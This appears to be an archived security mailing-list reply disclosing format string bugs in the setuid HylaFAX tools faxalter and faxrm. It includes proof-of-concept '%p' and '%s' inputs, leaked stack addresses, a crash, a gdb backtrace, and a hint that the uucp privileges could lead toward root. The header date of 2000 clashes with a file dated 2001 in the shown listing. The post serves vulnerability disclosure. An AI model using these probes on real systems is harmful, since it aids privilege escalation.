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From: KF (dotslashsnosoft.com)
Date: Mon Sep 04 2000 - 03:54:19 CDT

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    Same deal on Mandrake 8.0...

    hylafax-client-4.1-5mdk.i586.rpm

    [rootlinux /root]# cat /etc/redhat-release
    Linux Mandrake release 8.0 (Traktopel) for i586

    [rootlinux /root]# ls -al /usr/bin/faxalter
    -rwxr-xr-x 1 root root 13380 Aug 6 2001
    /usr/bin/faxalter*

    [rootlinux /root]# /usr/bin/faxalter -h %p,%p,%p,%p,%p,%p,%p -D 1
    0x804a153,0x401b3290,0x1,0x8048364,0xbffff25c,(nil),0x40015b94: Unknown
    host

    [rootlinux elguapo]# /usr/bin/faxalter -h %s,%s,%s -D 1
    Segmentation fault (core dumped)
    [rootlinux elguapo]# gdb /usr/bin/faxalter core

    (gdb) bt
    #0 0x40209ab7 in vfprintf () from /lib/libc.so.6
    #1 0x4020d0f0 in vfprintf () from /lib/libc.so.6
    #2 0x40207d7b in vfprintf () from /lib/libc.so.6
    #3 0x40066509 in FaxClient::vprintError () from
    /usr/lib/libfaxutil.so.4.0.1

    -KF

    >
    > There are some format strings vulnerbilities in the lastest hylafax package
    > try faxrm -h %x 1 or faxalter -h %x -D 1 for "proof of concept".
    > Both faxrm and faxalter are installed setuid uucp on FreeBSD (installed from
    > port collection). uid uucp is not that exciting but with some luck you'll
    > find uucp owned binaries running from cron with uid 0.
    >
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